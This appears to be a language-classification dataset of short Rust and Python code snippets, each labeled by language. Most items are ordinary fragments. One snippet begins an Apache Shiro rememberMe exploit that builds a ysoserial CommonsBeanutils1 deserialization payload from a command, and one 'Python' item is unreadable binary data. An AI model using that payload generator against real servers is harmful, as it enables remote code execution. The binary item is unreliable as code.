text
string
label_name
string
labels
int64
MipmapGenerator`. Once created, it can be used repeatedly to /// generate mipmaps for any texture with format specified in `format_hints`. pub fn new_with_format_hints(device: &Device, format_hints: &[TextureFormat]) -> Self { let mut layout_cache = HashMap::new(); let mut pipeline_cache = HashM...
Rust
0
() -> Self { let (foo_sender, foo_receiver) = mpsc::sync_channel(1); let (bar_sender, bar_receiver) = mpsc::sync_channel(1); FooBar{ foo_sender, foo_receiver: Mutex::new(foo_receiver), bar_sender, bar_receiver: Mutex::new(bar_receiver), } ...
Rust
0
d: game_canvas.dead_hand_button.place(game_canvas.dead_hand_button_place) # show button show_status_messages = configurations.SHOW_STATUS_MESSAGES if not show_status_messages == "none": is_verbose = show_status_messages == "verbose" if can_declare_dead_hand: if game_canvas.c...
Python
1
let g32 = power_of_two(gen, 32); let g64 = power_of_two(gen, 64); let g96 = power_of_two(gen, 96); let g128 = power_of_two(gen, 128); let g160 = power_of_two(gen, 160); let g192 = power_of_two(gen, 192); let g224 = power_of_two(gen, 224); assert_eq!( ...
Rust
0
'everywhere'. Local heaps, GC, unwinding, //! local storage, and logging. Even a 'freestanding' Rust would likely want //! to implement this. use alloc::arc::Arc; use alloc::boxed::{BoxAny, Box}; use core::any::Any; use core::atomic::{AtomicUint, SeqCst}; use core::iter::Take; use core::kinds::marker; use core::mem; u...
Rust
0
e(SERVICE_ACCOUNT_KEY) .short("s") .long(SERVICE_ACCOUNT_KEY) .value_name("SERVICE_ACCOUNT_KEY") .env("LIBUNFTP_SERVICE_ACCOUNT_KEY") .help("The service account key JSON file of the Google Cloud Storage bucket to be used") ....
Rust
0
setAttribute("link", self.name) axis_tag = adom.createElement("axis") if self.joint_axis_xyz <= 0.33: axis_tag.setAttribute("xyz", "1 0 0") if self.joint_axis_xyz > 0.33 and self.joint_axis_xyz <= 0.66: axis_tag.setAttribute("xyz", "0 1 0") if self.joint_axis_xyz ...
Python
1
use self::fairing::TemplateFairing; use serde::Serialize; use serde_json::{Value, to_value}; use std::borrow::Cow; use std::path::PathBuf; use rocket::{Rocket, State}; use rocket::request::Request; use rocket::fairing::Fairing; use rocket::response::{self, Content, Responder}; use rocket::http::{ContentType, Status}...
Rust
0
phia_api/term/) /// and /// [`sophia_term`](https://docs.rs/sophia_term/latest/sophia_term/). pub mod term { pub use sophia_api::term::*; pub use sophia_term::*; } /// This module re-exports symbols from /// [`sophia_api::triple`](https://docs.rs/sophia_api/latest/sophia_api/triple/). pub mod triple { pub u...
Rust
0
string(TokenType::IntegerValue(1), "1"); let tokens1: Vec<Token> = vec![ Token::new_string(TokenType::VarKeyword, "var"), Token::new_string(TokenType::Identifier, "x"), Token::new_string(TokenType::TypeDeclaration, ":"), Token::new_string(TokenType::IntegerType, "int"), Toke...
Rust
0
let instance = &*(ptr as *mut T::Instance); let imp = instance.impl_(); let wrap: Borrowed<Aggregator> = from_glib_borrow(ptr); *res = ptr::null_mut(); gst::panic_to_error!(&wrap, imp.panicked(), gst::FlowReturn::Error, { match imp.update_src_caps(wrap.unsafe_cast_ref(), &from_glib_borrow(caps...
Rust
0
et_character_id] target_data.h_state.insert_position = -1 character_data.h_state.insert_position = -1 @settle_behavior.add_settle_second_behavior_effect(constant_effect.SecondEffect.GIVE_PAN_IN_DAY_FIRST_MEET) def handle_give_pan_in_day_first_meet( character_id: int, change_data: game_type.CharacterSt...
Python
1
import pytest from swarmsync import AgentTeam, Agent, Task from swarmsync.common import ModelFactory from swarmsync.tools.tool_manager import ToolManager @pytest.fixture def model_factory(): return ModelFactory() @pytest.fixture def team(model_factory): return AgentTeam( name="test_team", desc...
Python
1
# WARNING: Please don't edit this file. It was generated by Python/WinRT v0.9.210202.1 import typing, winrt import enum _ns_module = winrt._import_ns_module("Windows.Globalization.PhoneNumberFormatting") class PhoneNumberFormat(enum.IntEnum): E164 = 0 INTERNATIONAL = 1 NATIONAL = 2 RFC3966 = 3 class...
Python
1
import os import json from arcgis.gis import GIS, Item from arcgis.apps.itemgraph import create_dependency_graph import sys # Authenticate to ArcGIS Online or your ArcGIS Enterprise portal gis = GIS("https://www.arcgis.com", profile="saved_profile") print(gis) # get all items belonging to the authenticated user. # re...
Python
1
; 2] { [self.positions_render_target, self.albedo_render_target] } pub fn positions(&self) -> &textures::Texture2D { &self.positions } pub fn albedo(&self) -> &textures::Texture2D { &self.albedo } pub fn prepare_draw(&mut self, ctx: *mut dx11_1::ID3D11DeviceContext1) { ...
Rust
0
import streamlit as st import numpy as np import io import base64 import time import urllib.parse import re from scipy.io import wavfile import matplotlib.pyplot as plt # Morse Code Dictionary MORSE_CODE_DICT = { 'A': '.-', 'B': '-...', 'C': '-.-.', 'D': '-..', 'E': '.', 'F': '..-.', 'G': '--.', 'H': '....', '...
Python
1
a clean state. /// If this is not specified the initial state will not be used. #[clap(long, short)] clean: bool, } fn main() { let Opts { verbose, quiet, pem, port, abci, mut state, persistent, clean, } = Opts::parse(); let verb...
Rust
0
import random import pandas as pd import torch from loguru import logger from tqdm import tqdm from humanextension.utils import create_humaneval_functions, remove_after_stop_token def implement_irrelevant_humanextension( df: pd.DataFrame, generate_fn: callable, max_new_tokens: int, temperature: floa...
Python
1
from dao.trabalhoDaoSqlite import TrabalhoDaoSqlite class TesteTrabalhoDaoSqlite: trabalhoDaoSqlite = TrabalhoDaoSqlite() def testDeveRetornarListaComMiasDeZeroItens(self): esperado = 0 recebido = len(self.trabalhoDaoSqlite.pegaTrabalhos()) assert esperado != recebido
Python
1
fer_sell_quantity: 200, }, })))? .unwrap_id(); market.do_request(Request::Update { id: offer_id, item_update: ItemUpdate::Offer(OfferDetails { offer_buy_price: Dollars::from_millibucks(360), offer_sell_price: Dollars::from_millibucks(430), ...
Rust
0
class GossipManager(object): """ Keeps gossip and rankings that should be sent to other nodes or collected by Ranking """ def __init__(self): """ Create new gossip keeper instance """ self.gossips = [] self.peers_that_stopped_gossiping = set() self.neighbour_loc_rank_buff = [] ...
Python
1
Original reference edge_bits to compute difficulty factors for higher /// Cuckoo graph sizes, changing this would hard fork pub const BASE_EDGE_BITS: u8 = 24; /// Default number of blocks in the past when cross-block cut-through will start /// happening. Needs to be long enough to not overlap with a long reorg. /// Ra...
Rust
0
import toolforge import pywikibot as pw import helpers conn = toolforge.connect('hywiki') hywiki = pw.Site('hy', 'wikipedia') page = pw.Page(hywiki, 'Վիքիպեդիա:Ցանկեր/միայն կարմիր կատեգորիա ունեցող հոդվածներ') query = '''SELECT concat('#[[', a.page_title, ']]') FROM (SELECT page_id, page_title, ...
Python
1
print(f'Patience... {wait_cnt}/{patience}') if wait_cnt == patience: print('Early Stopping!') break print() def save(self): with torch.no_grad(): self.best_user_emb, self.best_item_emb = self.model.forward() ...
Python
1
RL: oauth.redirect_url("http://localhost:8000/redirect") The redirect URL used to redirect to after authentication. // Note: You do not need to set the access code in this example. This is done when Rocket intercepts the request. // The code is appended onto the end of the redirect url and used to call OneDrive API fo...
Rust
0
, "You don't own the first mogwai"); // breeding into the same mogwai isn't allowed ensure!(mogwai_id_1 != mogwai_id_2, Error::<T>::MogwaiSame); // ensure that we have enough space ensure!(Self::ensure_not_max_mogwais(sender.clone()), Error::<T>::MaxMogwaisInAccount); let parents = [Self::mogwai(mogwa...
Rust
0
) address_formats = ("{{street_address}}\n{{postcode_city_province}}",) secondary_address_formats = ("Appartamento @#", "Piano #") def postcode_city_province(self) -> str: cap = self.postcode() rand_city_prov: List[str] = self.random_element(self.cap_city_province[cap]) return ca...
Python
1
uter(multi: &Multiplexer, req: Request<Body>) -> Result<Response<Body>> { let method = req.method(); let uri_path = req.uri().path(); match (method, uri_path) { (&Method::GET, "/") | (&Method::GET, "/healthz") => route_health_check().await, (&Method::POST, "/multiplex") => route_mul...
Rust
0
> where D: Data<Elem = F> + WithLapackData, I: Dimension { fn with_lapack(self) -> ArrayBase<D::D, I> { D::with_lapack(self) } } /// Remove the Lapack bound to the floating point of a dataset /// /// This helper trait is introduced to avoid leaking `Lapack + Scalar` bounds to the outside, which /// causes ambigu...
Rust
0
ne primitives are undefined and set to QNaN (WARN: /// qNaN compares to inequal to *everything*, even to qNaN itself. /// Using code like this to check whether a field is qnan is: /// /// ``` /// #define IS_QNAN(f) (f != f) /// ``` /// /// still dangerous because even 1.f == 1.f could ev...
Rust
0
R), y: Y(Coord::THREE_QUARTERS), })) } #[allow(unused)] pub(crate) fn lower_right_quadrant_spiralish() -> Box<dyn sprialish::IterWithBounds> { Box::new(sprialish::OutIter::starting_at(XY { x: X(Coord::THREE_QUARTERS), y: Y(...
Rust
0
trip {} /// Marker trait indicating [`MetadataRoundtrip`] /// for the node table of a [`TableCollection`](crate::TableCollection). pub trait NodeMetadata: MetadataRoundtrip {} /// Marker trait indicating [`MetadataRoundtrip`] /// for the edge table of a [`TableCollection`](crate::TableCollection). pub trait EdgeMetad...
Rust
0
"DROP INDEX IF EXISTS idx_anoncreds_cred_ex_item_id_v0_1;", "DROP TABLE IF EXISTS anoncreds_cred_ex_v20_v0_1;", ], "postgresql": [ """ DROP TRIGGER IF EXISTS trg_update_anoncreds_cred_ex_timestamp_v0_1 ON anoncreds_cred_ex_v20_v0_1; """, "DROP FUNCTION IF EXISTS u...
Python
1
CHECK: mov 3, %o2 opaque_callee(Franta { a: 1.0, b: 2.0, c: 3.0, d: 4.0 }, 3); } struct Solution; impl Solution { pub fn product_except_self(nums: Vec<i32>) -> Vec<i32> { let mut answers = vec![1]; let length = nums.len(); for i in 1..length { answers.push(answers[i - 1...
Rust
0
Some(E)); // ACAN1 -- ACIFC comparator PC[10].configure(Some(E)); // ACAP1 -- ACIFC comparator PC[11].configure(Some(B)); // RX2 (BLE) -- USART2_RX PC[12].configure(Some(B)); // TX2 (BLE) -- USART2_TX //PC[13].configure(None); //... ACC_INT1 -- GPIO ...
Rust
0
ed(), }, ); map.insert( "simpleType:line-width-type".to_owned(), PseudoEnumSpec { members: vec![ "beam".to_owned(), "bracket".to_owned(), "dashes".to_owned(), "enclosure".to_owned(), "ending".to_o...
Rust
0
r within 4 cycles of the first or the configuration will not change. You may need /// to adjust optimization settings to prevent other operations from being emitted between these two /// writes. /// /// # Example /// ``` /// let mut watchdog = arduino_uno::wdt::Wdt::new(&dp.CPU.mcusr, dp.WDT); /// watchdog.start(arduin...
Rust
0
import torch import numpy as np import matrix_utils num = 10 original_matrix = torch.rand(num, num).to('cuda') print(original_matrix.dtype) indexs = torch.tensor([0,3,5,7,8], device='cuda') target_matrix1 = original_matrix[indexs] print(target_matrix1) indexs = torch.tensor([0,3,5,7,8], device='cuda') # target_matri...
Python
1
W)) return Q def get_groundtruth_coco(coco_class, img_id): anno_ids = coco_class.getAnnIds(imgIds=int(img_id)) anno = coco_class.loadAnns(anno_ids) match_class = class_matching(coco_class) anno = _preprocess_annotation_coco(anno, img_id, match_class, coco_class) height, width = anno["im_...
Python
1
import re def to_sentence(words): """ 将分词与词性标注结果转换为字符串模式。 """ return ' '.join(f"{word}/{tag}" for word, tag in words) NOUN_TAGS = {'n', 'nh', 'nl', 'ns', 'ni', 'nz'} # 名词集合 ADJ_TAG = 'a' # 形容词 VERB_TAG = 'v' # 动词 TIME_TAG = 'nt' # 时间名词 LOC_TAG = 'ns' # 地点名词 def rule_verb_object_relation(sentence...
Python
1
""" 日志和统计相关路由 包括:签到日志查询、统计信息、定时任务配置、域名配置 """ from flask import Blueprint, request, jsonify import logging from src.data.repositories.checkin_repository import CheckinLoggerDB from src.data.repositories.config_repository import ConfigManager # 创建蓝图 logs_bp = Blueprint('logs', __name__, url_prefix='/api') @logs_bp.rou...
Python
1
def f(str,toget): if str.startswith(toget): return str[len(toget):] else: return str
Python
1
# Copyright 2018 eShares, Inc. dba Carta, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agr...
Python
1
} match mem::replace(&mut self.tail, None) { None => { // The current list is empty, set head and tail to the other lists head and tail. self.head = Some(Rc::clone(other.head.as_ref().unwrap())); self.tail = Some(Rc::clone(other.tail.as_ref()....
Rust
0
n = int(input()) a = list(map(int, input().split())) ch = 0 bi = 0 ba = 0 for i, x in enumerate(a, start = 1): if i%3 ==1: ch += x elif i%3==2: bi += x else: ba += x if ch == max(ch, bi, ba): print("chest") elif bi == max(ch, bi,ba): print("biceps") else: print("back") ...
Python
1
um_box.fill.fore_color.rgb = RGBColor(54, 69, 79) # 设置背景色为深色(灰蓝色) # 设置编号框的边框颜色为透明 num_box.line.fill.background() # 设置编号框边框为透明 # 添加目录页(4个目录项) def add_menu_4(self, image_path, menu_items): slide = self.prs_new.slides.add_slide(self.slide_layout[6]) # 选择布局索引6 placeholde...
Python
1
import re from django import template register = template.Library() CONSONANT_SOUND = re.compile(r'''one(![ir])''', re.IGNORECASE | re.VERBOSE) # noqa VOWEL_SOUND = re.compile( r'''[aeio]|u([aeiou]|[^n][^aeiou]|ni[^dmnl]|nil[^l])|h(ier|onest|onou?r|ors\b|our(!i))|[fhlmnrsx]\b''', re.IGNORECASE | re.VERBOSE ) # ...
Python
1
extra field """ if not self.extra: return False return "ig_story_ids" in self.extra def get_ig_story_ids(self) -> list[str]: """Get the IG story IDs configured for this trigger. Returns: List of IG story IDs, empty list if not IG story trigger ...
Python
1
batch_id=graph_batch_id) batch_node_feats = torch.split(batched_nodes_feats, num_nodes_by_batch) for batch_idx, seg_ids in enumerate(amr_token_seg_ids): amr_token_feats[seg_ids > 0, batch_idx] = batch_node_feats[batch_idx] batched_edge_feats = torch.spl...
Python
1
pub fn overflowing_mul(self, other: Bv<S>) -> (Bv<S>, bool) { unimplemented!() } pub fn leading_zeros(self) -> u32 { unimplemented!() } } impl<S: Size> Clone for Bv<S> { fn clone(&self) -> Bv<S> { *self } } impl<S: Size> Copy for Bv<S> {} impl<S: Size> PartialEq<Bv<S...
Rust
0
#Topic: Random Dates #----------------------------- #libraries import pandas as pd import numpy as np import matplotlib.pyplot as plt #df = pd.read_csv('data/mtcars.csv') from pydataset import data mtcars = data('mtcars') mtcars.head() df = mtcars #https://stackoverflow.com/questions/50559078/generating-random-dates-w...
Python
1
nitoring_batches=10, ) trainer = Train(ds, gsn, algorithm=alg, save_path="gsn_sup_example.pkl", save_freq=10, extensions=[MonitorBasedLRAdjuster()]) trainer.main_loop() print("done training") def test_classify(): """ See how well a (supervised) GSN perfo...
Python
1
.reads(8_u64)) .saturating_add(RocksDbWeight::get().writes(6_u64)) } fn candidate_bond_less() -> Weight { 59_421_000_u64 .saturating_add(RocksDbWeight::get().reads(8_u64)) .saturating_add(RocksDbWeight::get().writes(6_u64)) } fn nominate(x: u32, y: u32) -> Weight { 71_656_000_u64 // Standard Error...
Rust
0
let Some(display) = gdk::Display::default() { gtk::StyleContext::add_provider_for_display( &display, &provider, gtk::STYLE_PROVIDER_PRIORITY_APPLICATION, ); } } fn show_about_dialog(&self) { let dialog = gtk::builders::Abo...
Rust
0
z, prediction_B, img_B, noise = next(iter_B) prediction_B = prediction_B.squeeze(0).to(device) img_B = img_B.to(device) z = z.to(device) # print(prediction_B.shape) noise = [nn.to(device) for nn in noise] w = trainer.mapping(z) if 'fixed_noise' in c...
Python
1
ient; use crate::pserver::raft::*; use crate::pserver::simba::aggregation; use crate::pserver::simba::engine::tantivy::sort::FieldScore; use crate::pserver::simba::simba::Simba; use crate::pserverpb::*; use crate::util::{coding, config, entity::*, error::*}; use crate::*; use async_std::{sync::channel, task}; use log::...
Rust
0
/// The minimum VERSION of the Fluvio Platform that this client is compatible with. const MINIMUM_PLATFORM_VERSION: &str = "0.9.0"; /// The maximum VERSION of the Fluvio Platform that this client is compatible with. const MAXIMUM_PLATFORM_VERSION: &str = "0.10.0"; /// Creates a producer that sends records to the na...
Rust
0
co
Python
1
ing, update: u32, ) { let mut workload = BatchListFeeder::new(source); let time_to_wait = time::Duration::from_secs(1) / rate; // set first target let mut next_target = 0; // keep track of status of http requests for logging let http_counter = HttpRequestCounter::new(format!("File: {}", inpu...
Rust
0
import re from agents.generic_agent import GenericAgent from agents.openai_chatComplete import completion_with_backoff from agents.utils import fill_in_placeholders class CorrectnessEnsuringAgent(GenericAgent): def __init__(self, workspace, **kwargs): super().__init__(workspace, **kwargs) def run(self...
Python
1
it.peek() { t_it.next().unwrap(); sign = -1; } if let Some(Tok::Op('+')) = t_it.peek() { t_it.next().unwrap(); } if let Tok::Num(x) = t_it.next().unwrap() { numerator = x; } else { panic!(); } if let Tok:...
Rust
0
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright (c) 2021, Cisco Systems # GNU General Public License v3.0+ (see LICENSE or https://www.gnu.org/licenses/gpl-3.0.txt) DOCUMENTATION = r""" --- module: sxp_local_bindings_bulk_request short_description: Resource module for SXP Local Bindings Bulk Request description...
Python
1
self.music_btn_rotate_anime(e) else: self.stop_music() def stop_music(self): """停止播放音乐""" self.page.overlay.remove(self.music_widget) self.music_widget = None music_files = os.listdir(f'{os.getenv("APP_DIR")}/assets/music') self.music_path = ...
Python
1
draw_hline<T: ToPrimitive>(&mut self, value: char, from: Vec2, size: T) -> &mut Pencil<'a> { let elem_pos = self.origin + from; for i in 0..size.to_usize().unwrap() { self.draw_element(elem_pos + Vec2::x(i), value); } self } pub fn draw_rect(&mut self, charset: &Rec...
Rust
0
FOUR = 4, /// N-NE-E-SE-S-SW-W-NW connectivity from given pixel/point EIGHT = 8, } /// Helps determine the size of output of convolution #[repr(u32)] #[derive(Clone, Copy, Debug, PartialEq)] #[cfg_attr(feature = "afserde", derive(Serialize, Deserialize))] pub enum ConvMode { /// Default convolution mode wh...
Rust
0
_OFFSET_DATA * compiler_common::SIZE_FIELD) as u64, ), AddressSpace::Parent, "parent_error_code_pointer", ); self.build_store(parent_error_code_pointer, error_code_shifted); } /// /// Returns a field type constant. /// pub fn field_const(&self, va...
Rust
0
yopi12', 'fw=13', 'pksh0923', 'fw=-1', 'ksdd3268', 'fw=-1', 'bestweekend', 'fw=-1', 'ansungwoo', 'fw=-1', 'my0525', 'fw=-1', 'yoon7437', 'fw=-1', 'kgj8763', 'fw=-1', 'f213ruary', 'fw=-1', 'nshoting111', 'fw=-1', 'vmflstpdk(3)', 'fw=-1', 'gnsruf4', 'fw=-1', 'lemuzikian', 'fw=-1', 'leio0425', 'fw=-1', ''] # ['\x1b\t00040...
Python
1
ze; self.palette_ram[colour] } fn write_halfword(&mut self, addr: u32, data: u16) { let colour = (addr >> 1) as usize; self.palette_ram[colour] = data; if colour < PALETTE_SIZE { self.bg_palette_dirty = true; } else { self.obj_palette_dirty = true...
Rust
0
symbol(1_usize), Some(100_usize)); assert_eq!(env.get_slot(0), VCell::undefined()); env.put_slot(0, VCell::ptr(42)); assert_eq!(env.get_slot(0), VCell::ptr(42)); env.put_slot(0, VCell::undefined()); } #[test] #[should_panic] fn put_slot_panics_if_non_ptr() { let ...
Rust
0
ackground # TEMPORARILY DISABLED - Guardian Service startup commented out for hot-fix # if GUARDIAN_SERVICE_AVAILABLE and start_guardian_service: # try: # guardian_thread = threading.Thread(target=start_guardian_service, daemon=True) # guardian_thread.start() # print(...
Python
1
g. `c : int = 3` or `b : int | bool : false`. [T::Identifier(name), T::Colon, ..] => { if is_capitalized(name) { // raise_syntax_error!(ctx, "Variables have to start with a lowercase letter"); } if name == "self" { raise_syntax_error!(ctx, "\"s...
Rust
0
fail("xarea != NULL", "src/heap.c", 402, "mi_heap_area_visit_blocks") } // skip a run of free blocks if xarea.is_null() { return true; // race is ok } let mut area = &xarea.area; let mut page = xarea.page; if !page.is_null() { 0 } else { _mi_as...
Rust
0
import logging import time from multiprocessing.managers import BaseManager logger = logging.getLogger(__name__) class QueueManager: instance = None class __QueueManager(BaseManager): @property def cmd_queue(self): return self.get_cmd_queue() @property def resu...
Python
1
fn control_char_escape_g() { test_eval_simple("'\\^G'", "\x07"); } #[test] fn control_char_escape_h() { test_eval_simple("'\\^H'", "\x08"); } #[test] fn control_char_escape_i() { test_eval_simple("'\\^I'", "\x09"); } #[test] fn control_char_escape_j() { test_eval_simple("'\\^J'", "\x0a"); } #[test] ...
Rust
0
"""Fixtures for Verisure integration tests.""" from __future__ import annotations from collections.abc import Generator from unittest.mock import AsyncMock, MagicMock, patch import pytest from homeassistant.components.verisure.const import CONF_GIID, DOMAIN from homeassistant.const import CONF_EMAIL, CONF_PASSWORD ...
Python
1
ate with private key located in {:?}", key_path); let mut f = fs::File::open(key_path.to_owned()).unwrap(); let mut key = String::new(); f.read_to_string(&mut key).expect("unable to read SSH key from file"); f.seek(io::SeekFrom::Start(0)).unwrap(); let mut ...
Rust
0
nested_obj, nested_key, nested_value_type ) mock_obj[key] = [nested_obj] else: # Ensure the parent key holds a list of objs mock_obj = self._check_obj_key_value_type(mock_obj, key, value_type) return mock_obj def _mock_schemas_from_web(s...
Python
1
()> { write!(out, "{}", " ".repeat(depth))?; let start = ass.int_bounds(task.start).0; write!(out, "{} {}", start, format_partial_name(&task.task, ass)?)?; writeln!(out, " {}", format_atoms(&task.task, ass)?)?; for &(i, ch) in chronicles.iter() { match ch.origin { Chroni...
Rust
0
tor, } impl<'a> MapIterator<'a> { pub fn new(map: Term<'a>) -> Option<MapIterator<'a>> { let env = map.get_env(); unsafe { map::map_iterator_create(env.as_c_arg(), map.as_c_arg()) }.map(|iter| { MapIterator { env: env, iter: iter, } })...
Rust
0
tch variant { PWRSEL_A::PWRSEL_0 => 0, PWRSEL_A::PWRSEL_1 => 1, PWRSEL_A::PWRSEL_2 => 2, PWRSEL_A::PWRSEL_3 => 3, } } } #[doc = "Reader of field `PWRSEL`"] pub type PWRSEL_R = crate::R<u8, PWRSEL_A>; impl PWRSEL_R { #[doc = r"Get enumerated values variant"...
Rust
0
IfNull: fixed_arity(sa.func.coalesce, 2), # boolean reductions ops.Any: unary(sa.func.bool_or), ops.All: unary(sa.func.bool_and), ops.NotAny: unary(lambda x: sa.not_(sa.func.bool_or(x))), ops.NotAll: unary(lambda x: sa.not_(sa.func.bool_and(x))), # strings ops.Sub...
Python
1
[0]), ("1,", [1]), ("22,23", [22, 23]), ("80,443,443,", [80, 443, 443]), (65535, [65535]), ]) def test_ok__valid_ports_list(arg: Any, retval: list[int]) -> None: assert valid_ports_list(arg) == retval @pytest.mark.parametrize("arg", ["test", "13,test", None, 1.1]) def tes...
Python
1
# -*- coding: utf-8 -*- import requests import os import sys import uuid import base64 import subprocess import argparse from Crypto.Cipher import AES #get a rememberme payload def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout...
Python
1
::io::{AsyncRead, AsyncWrite}; use tracing::{debug, trace, warn}; use super::{ping, PipeToSendStream, SendBuf}; use crate::body::HttpBody; use crate::common::exec::ConnStreamExec; use crate::common::{date, task, Future, Pin, Poll}; use crate::ext::Protocol; use crate::headers; use crate::proto::h2::ping::Recorder; use...
Rust
0
tmp = tmp.next except (crash.error, IndexError): break def print_namespace(ns, client_server): print("Namespace: (ldlm_namespace) %#x, %s\t(rc: %d, side: %s)\tpoolcnt: %d unused: %d" % \ (Addr(ns), ll.obd2str(ns.ns_obd), ns.ns_bref.counter, client_server, ns.ns_pool....
Python
1
# 导入数据excel1 # 第一题最优路径 node = [0, 503, 294, 91, 607, 540, 250, 340, 277, 612] shape = 613 import matplotlib.pyplot as plt import numpy as np import pandas as pd from mpl_toolkits.mplot3d import Axes3D excel2 = pd.read_excel("F:/第十六届华为杯数模比赛/试题/F题/2019年中国研究生数学建模竞赛F题/附件1:数据集1-终稿.xlsx") coordinates_2 = excel2.values[1:, 1...
Python
1
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ main.py: Main program for the Python Vehicle Simulator, which can be used to simulate and test guidance, navigation and control (GNC) systems. Reference: T. I. Fossen (2021). Handbook of Marine Craft Hydrodynamics and Motion Control. 2nd edition, John Wiley & Sons...
Python
1
HH+HH9HGHt HHHSHHHHt  HCHH{ 7HC [HAVAUIATU1SLHE1HHJ(LLEHH`IZ1HHHHH9r HH)HAtII$hIZ II u1[]A\A]A^1AWAVIAUATLUSHIE1HII;5AˆD$ JZT$ HŠ JZJZ<T$t<t"Lu.?1҉LkuD$ AAD$ =AA AAB| tBLIHLuL҉LtatvH|$ FZ+ E1AM9...
Python
1
bel', from_id='a', to_id='b', relationship_type='DUMMY_TYPE', properties={'x': 1, 'y': 2}, ) sub_graph = graph_repository.get_sub_graph( label='DummyLabel', start_id='a', ) assert len(sub_graph.nodes) == 2 assert len(sub_graph.relationships) == 1 a...
Python
1
ef.startsWith('/api/')) { // API 请求不拦截 return; } e.preventDefault(); history.pushState(null, '', href); document.getElementById('current-path').textContent = href; } }); </script> </body> </ht...
Python
1
""""Datetime utilities""" from datetime import date, datetime, time, timedelta class PeakPeriodUtils: """Peak Period Utils""" def __init__(self, eco_start_time: datetime, eco_end_time: datetime) -> None: """Init""" self._eco_start_time = eco_start_time self._eco_end_time = eco_end_ti...
Python
1
from django.contrib.contenttypes.models import ContentType from django.contrib.postgres.fields import ArrayField from django.contrib.postgres.search import SearchVectorField from django.db import models from polymorphic.models import PolymorphicModel from wyszukiwarka.managers import ( SearchableManager, Sear...
Python
1
BAR_WIDTH, BAR_HEIGHT, WHITE); draw_rectangle(game.ball.x, game.ball.y, BALL_SIZE, BALL_SIZE, WHITE); let t = format!("{} {}", game.p1.score, game.p2.score); let d = macroquad::text::measure_text(&t, None, 30, 1.0); draw_text(&t, w / 2f32 - d.width / 2f32, h - d.height / 2f32, 3...
Rust
0
.hex() Q_compressed_hexstring2 = " " + Q_compressed_hexstring + " " Q_compressed_hexstring3 = ("03" if (Q[1] & 1) else "02") + " " + x_Q_bytes.hex() Q_uncompressed = b"\x04" + x_Q_bytes + Q[1].to_bytes(32, byteorder="big", signed=False) Q_uncompressed_hexstring = Q_uncompressed.hex() Q_uncompressed_hexstring2 = " " + Q...
Python
1
AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFI...
Rust
0
298), Some(AttributeValue::AttributeValueF64(13.0)), ); let attr_val_exp = AttributeValueForObject { attribute_name: "AttrName".to_string(), attribute_value, }; let (_, attr_val) = attribute_value_for_object(def).unwrap(); assert_eq!(attr_val_e...
Rust
0
::default().with_measurement(CyclesPerByte); targets = ff1_binary_benchmark ); criterion_main!(benches); <reponame>silas-x/protocol-v1 pub mod amm; pub mod funding; pub mod orders; pub mod position; pub mod repeg; pub mod token; <gh_stars>0 extern crate aoc2017; use aoc2017::days::day17; fn main() { let input...
Rust
0
ta): """绘制收敛历史""" if 'algorithm_performance' in solution_data: history = solution_data['algorithm_performance'].get('convergence_history', []) if history: generations = range(len(history)) ax.plot(generations, history, 'b-', linewidth=2, alpha=0.7)...
Python
1
a phishing email?'] = max(1, min(5, orig_conf + random.randint(-1, 1))) df = pd.concat([df, pd.DataFrame([original])], ignore_index=True) return df def generate_synthetic_dataset(num_responses=400, days_back=20): """ Generate complete synthetic dataset """ print(f"🔄 Generat...
Python
1